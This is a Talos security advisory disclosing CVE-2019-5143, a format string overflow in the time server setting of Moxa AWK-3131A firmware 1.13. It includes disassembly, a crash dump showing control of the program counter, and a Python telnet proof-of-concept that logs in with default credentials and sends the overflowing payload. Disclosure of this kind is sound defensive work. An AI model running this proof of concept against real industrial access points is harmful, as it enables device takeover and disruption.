Talos Vulnerability Report

TALOS-2019-0932

Moxa AWK-3131A iw_console conio_writestr Remote Code Execution Vulnerability

February 24, 2020
CVE Number

CVE-2019-5143

Summary

An exploitable format string vulnerability exists in the iw_console conio_writestr functionality of the Moxa AWK-3131A firmware version 1.13. A specially crafted time server entry can cause an overflow of the time server buffer, resulting in remote code execution. An attacker can send commands while authenticated as a low privilege user to trigger this vulnerability.

Tested Versions

Moxa AWK-3131A Firmware version 1.13

Product URLs

http://www.moxa.com/product/AWK-3131A.htm

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

Details

The Moxa AWK-3131A Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client is a wireless networking appliance intended for use in industrial environments. It is designed to provide wireless communication capabilities to the environments in which it is deployed. Communication with the device is possible using HTTP, Telnet, and SSH.

When a legitimate user uses Telnet or SSH to log into the device they are presented with a restricted shell known as iw_console. iw_console allows the user to make various configuration changes, but is not intended to give that user access to the underlying system. When interacting with iw_console, the user is first presented with a ‘Main Menu’ where they are instructed to enter a character indicating their choice from a list of options, as shown below:

<< Main Menu >>
  (1) System Info Settings
  (2) Network Settings
  (3) Time Settings
  (4) Maintenance
  (5) Restart
  (q) Quit

Key in your selection: 

The device time server can then be modified by selecting ‘Time Settings’ followed by either ‘Time server 1’ or ‘Time server 2’ as shown below:

<< Main Menu >>
  (1) System Info Settings
  (2) Network Settings
  (3) Time Settings
  (4) Maintenance
  (5) Restart
  (q) Quit
  
Key in your selection: 3
  
-----------------------------------------------------------------------------
<< Main Menu->Time Settings >>
  (1) Local time
  (2) Time zone
  (3) Time server 1
  (4) Time server 2
  (5) Query period
  (v) View settings
  (m) Back to Main Menu
  (q) Quit
  
Key in your selection: 3
Time server : fake.time.server

When a time server is entered, the only verification that the user entered value is valid that is performed is a length check. Due to this it is possible to enter format strings as the time server. When this is done using a format string that expands to a large amount of data, such as %1000x, the console will return the user to the ‘Main Menu->Time Settings’ menu. If the user subsequently enters one of the time server menus again, the reported time server value will overflow the available buffer and begin to overwrite arbitrary memory. If enough data is written it is possible to overwrite $ra and subsequently $pc An example of this can be seen below.

<< Main Menu->Time Settings >>
  (1) Local time
  (2) Time zone
  (3) Time server 1
  (4) Time server 2
  (5) Query period
  (v) View settings
  (m) Back to Main Menu
  (q) Quit

Key in your selection: 3
Time server : %1000x
Set "Time server" succeeds

Press any key to continue...

-----------------------------------------------------------------------------
<< Main Menu->Time Settings >>
  (1) Local time
  (2) Time zone
  (3) Time server 1
  (4) Time server 2
  (5) Query period
  (v) View settings
  (m) Back to Main Menu
  (q) Quit

Key in your selection: 3
Time server :                0Connection closed by foreign host.

Disassembly for the ‘Time server 1’ path can be found below.

#
# sub_404d34
#
...
00404d8c  3c030041…  li      $v1, 0x4097d4  {"Time server 1"}
00404d94  afa30014   sw      $v1, 0x14($sp) {var_54}  {0x4097d4, "Time server 1"}
00404d98  00402021   move    $a0, $v0
00404d9c  3c020041   lui     $v0, 0x41
00404da0  244596f4   addiu   $a1, $v0, -0x690c  {0x4096f4, "IWtime"}
00404da4  3c020041   lui     $v0, 0x41
00404da8  244697c4   addiu   $a2, $v0, -0x683c  {0x4097c4, "firstTimeSrv"}
00404dac  27c20020   addiu   $v0, $fp, 0x20 {var_48}
00404db0  00403821   move    $a3, $v0 {var_48}
00404db4  8f828080   lw      $v0, -0x7f80($gp)  {iw_configGetDesc}         # retrieves the Time Server 1 details
00404db8  0040c821   move    $t9, $v0
00404dbc  0320f809   jalr    $t9
00404dc0  00000000   nop     
00404dc4  8fdc0018   lw      $gp, 0x18($fp) {var_50}
00404dc8  3c020042…  lw      $v0, 0x41a980
00404dd0  24030100   addiu   $v1, $zero, 0x100
00404dd4  afa30010   sw      $v1, 0x10($sp)  {0x100}
00404dd8  3c030041…  li      $v1, 0x4093b0
00404de0  afa30014   sw      $v1, 0x14($sp) {var_54}  {0x4093b0}
00404de4  00402021   move    $a0, $v0
00404de8  3c020041   lui     $v0, 0x41
00404dec  244596f4   addiu   $a1, $v0, -0x690c  {0x4096f4, "IWtime"}
00404df0  3c020041   lui     $v0, 0x41
00404df4  244697c4   addiu   $a2, $v0, -0x683c  {0x4097c4, "firstTimeSrv"}
00404df8  3c020042   lui     $v0, 0x42
00404dfc  2447ac4c   addiu   $a3, $v0, -0x53b4  {data_41ac4c}
00404e00  8f82812c   lw      $v0, -0x7ed4($gp)  {iw_configGetBakValue}     # retrieves the Time Server 1 details
00404e04  0040c821   move    $t9, $v0
00404e08  0320f809   jalr    $t9
00404e0c  00000000   nop     
00404e10  8fdc0018   lw      $gp, 0x18($fp) {var_50}  {0x4227a0}
00404e14  00002021   move    $a0, $zero  {0x0}
00404e18  27c20020   addiu   $v0, $fp, 0x20 {var_48}
00404e1c  00402821   move    $a1, $v0 {var_48}
00404e20  0c100cbd   jal     sub_4032f4
00404e24  00000000   nop     
00404e28  8fdc0018   lw      $gp, 0x18($fp) {var_50}
00404e2c  8fc2006c   lw      $v0, 0x6c($fp) {arg_4}
00404e30  afa20010   sw      $v0, 0x10($sp) {var_58}
00404e34  3c020042   lui     $v0, 0x42
00404e38  2444ac4c   addiu   $a0, $v0, -0x53b4  {data_41ac4c}
00404e3c  24050028   addiu   $a1, $zero, 0x28
00404e40  00003021   move    $a2, $zero  {0x0}
00404e44  00003821   move    $a3, $zero  {0x0}
00404e48  8f828044   lw      $v0, -0x7fbc($gp)  {conio_readstr}  {0x41a7e4}
00404e4c  0040c821   move    $t9, $v0  {conio_readstr}
00404e50  0411f288   bal     conio_readstr                                 # calls into conio_readstr to perform the printing operation           
00404e54  00000000   nop     
...

#
# conio_readstr
#
00401874  27bdffc8   addiu   $sp, $sp, -0x38
00401878  afbf0034   sw      $ra, 0x34($sp) {__saved_$ra}
0040187c  afbe0030   sw      $fp, 0x30($sp) {__saved_$fp}
00401880  03a0f021   move    $fp, $sp {var_38}
00401884  3c1c0042…  li      $gp, 0x4227a0
0040188c  afbc0010   sw      $gp, 0x10($sp) {var_28}  {0x4227a0}
00401890  afc40038   sw      $a0, 0x38($fp) {arg_0}
00401894  afc5003c   sw      $a1, 0x3c($fp) {arg_4}
00401898  00c01021   move    $v0, $a2
0040189c  afc70044   sw      $a3, 0x44($fp) {arg_c}
004018a0  a3c20040   sb      $v0, 0x40($fp) {arg_8}
004018a4  24020001   addiu   $v0, $zero, 1
004018a8  afc20018   sw      $v0, 0x18($fp) {var_20}  {0x1}
004018ac  afc0001c   sw      $zero, 0x1c($fp) {var_1c}  {0x0}
004018b0  8fc2003c   lw      $v0, 0x3c($fp) {arg_4}
004018b4  afc20020   sw      $v0, 0x20($fp) {var_18}
004018b8  8fc40038   lw      $a0, 0x38($fp) {arg_0}
004018bc  8f8280c0   lw      $v0, -0x7f40($gp)  {strlen}
004018c0  0040c821   move    $t9, $v0
004018c4  0320f809   jalr    $t9
004018c8  00000000   nop     
004018cc  8fdc0010   lw      $gp, 0x10($fp) {var_28}  {0x4227a0}
004018d0  afc2001c   sw      $v0, 0x1c($fp) {var_1c_1}
004018d4  8fc2001c   lw      $v0, 0x1c($fp) {var_1c_1}
004018d8  24420001   addiu   $v0, $v0, 1
004018dc  afc20018   sw      $v0, 0x18($fp) {var_20_1}
004018e0  8fc40038   lw      $a0, 0x38($fp) {arg_0}
004018e4  0c1006f2   jal     conio_writestr                                # calls into conio_writestr to perform the printing operation                    
004018e8  00000000   nop     
...

#
# conio_writestr
#
00401bc8  27bdfdd8   addiu   $sp, $sp, -0x228
00401bcc  afbf0224   sw      $ra, 0x224($sp) {__saved_$ra}
00401bd0  afbe0220   sw      $fp, 0x220($sp) {__saved_$fp}
00401bd4  03a0f021   move    $fp, $sp {var_228}
00401bd8  3c1c0042…  li      $gp, 0x4227a0
00401be0  afbc0010   sw      $gp, 0x10($sp) {var_218}  {0x4227a0}
00401be4  afc5022c   sw      $a1, 0x22c($fp) {arg_4}
00401be8  afc60230   sw      $a2, 0x230($fp) {arg_8}
00401bec  afc70234   sw      $a3, 0x234($fp) {arg_c}
00401bf0  afc40228   sw      $a0, 0x228($fp) {arg_0}
00401bf4  27c2022c   addiu   $v0, $fp, 0x22c {arg_4}
00401bf8  afc2001c   sw      $v0 {arg_4}, 0x1c($fp) {var_20c}
00401bfc  8fc2001c   lw      $v0, 0x1c($fp) {var_20c}
00401c00  27c30020   addiu   $v1, $fp, 0x20 {var_208}
00401c04  00602021   move    $a0, $v1 {var_208}
00401c08  8fc50228   lw      $a1, 0x228($fp) {arg_0}
00401c0c  00403021   move    $a2, $v0
00401c10  8f828114   lw      $v0, -0x7eec($gp)  {vsprintf}                 # Builds the string from user input
00401c14  0040c821   move    $t9, $v0
00401c18  0320f809   jalr    $t9
00401c1c  00000000   nop     
...                                                                        # trimming write param setup
00401c60  8fdc0010   lw      $gp, 0x10($fp) {var_218}
00401c64  00402021   move    $a0, $v0
00401c68  8fc20018   lw      $v0, 0x18($fp) {var_210}
00401c6c  27c30020   addiu   $v1, $fp, 0x20 {var_208}
00401c70  00602821   move    $a1, $v1 {var_208}
00401c74  00403021   move    $a2, $v0
00401c78  8f828108   lw      $v0, -0x7ef8($gp)  {write}
00401c7c  0040c821   move    $t9, $v0
00401c80  0320f809   jalr    $t9                                           # prints the string built by vsprintf to stdout: write(stdout, VSPRINTF_RESULT, size)
00401c84  00000000   nop     
00401c88  8fdc0010   lw      $gp, 0x10($fp) {var_218}  {0x4227a0}
00401c8c  8fc20018   lw      $v0, 0x18($fp) {var_210}
00401c90  03c0e821   move    $sp, $fp
00401c94  8fbf0224   lw      $ra, 0x224($sp) {__saved_$ra}
00401c98  8fbe0220   lw      $fp, 0x220($sp) {__saved_$fp}
00401c9c  27bd0228   addiu   $sp, $sp, 0x228
00401ca0  03e00008   jr      $ra                                           # SEG_FAULTs on the return attempt as $ra has been corrupted
00401ca4  00000000   nop     

Crash Information

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
        zero       at       v0       v1       a0       a1       a2       a3
R0   00000000 00000001 00000203 00000000 00000001 7fa15060 00000203 00000000 
          t0       t1       t2       t3       t4       t5       t6       t7
R8   00000000 5a499e00 80340a70 20202020 20202020 5a499e00 00000000 20202020 
          s0       s1       s2       s3       s4       s5       s6       s7
R16  00000000 00000000 00000000 00000003 7fa7ee44 1000b880 00000000 0046ba50 
          t8       t9       k0       k1       gp       sp       s8       ra
R24  00000003 2ae90884 80808080 00000000 004227a0 7fa15268 20202000 42424242 
      status       lo       hi badvaddr    cause       pc
    0100ff13 0193684a 00001238 42424242 00800010 42424242 
        fcsr      fir      hi1      lo1      hi2      lo2      hi3      lo3
    00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
      dspctl  restart
    00000000 00000000 
(gdb) 

Exploit Proof of Concept

import telnetlib
import socket
 
def main():
    # define some required params
    rhost = "192.168.127.253"
    username = "admin"
    password = "moxa"

    # format the params into messages
    usernameMsg = "{}\n".format(username)
    passwordMsg = "{}\n".format(password)
    payloadMsg = "{}{}\n".format("\b"*100, "%516xBBBB")

    # interact with the telnet window
    # device name is set and then the device is rebooted
    tn = telnetlib.Telnet(rhost)
    try:
        tn.read_until("login: ")
        tn.write(usernameMsg)
        tn.read_until("Password: ")
        tn.write(passwordMsg)
        tn.read_until("selection: ")
        tn.write("3\n")
        tn.read_until("selection: ")
        tn.write("3\n")
        tn.read_until("server : ")
        tn.write(payloadMsg)
        tn.read_until("continue...")
        tn.write("\n")
        tn.read_until("selection: ")
        tn.write("3\n")
        tn.read_until("server :")
        tn.write("\n")
        tn.read_until("\n")
    except:
        raise ValueError("An unknown error has occurred while communicating with the device")

    try:
        tn.write("\n")
    except socket.error as e:
        if "Broken pipe" in e.args:
            print("Success")
        else:
            raise ValueError("An error has occurred triggering the overflow")

if __name__ == '__main__':
    main()

Timeline

2019-10-22 - Vendor Disclosure
2020-02-20 - Public Release

Credit

Discovered by a member of Cisco Talos, Jared Rittle, and Carl Hurd of Cisco Talos.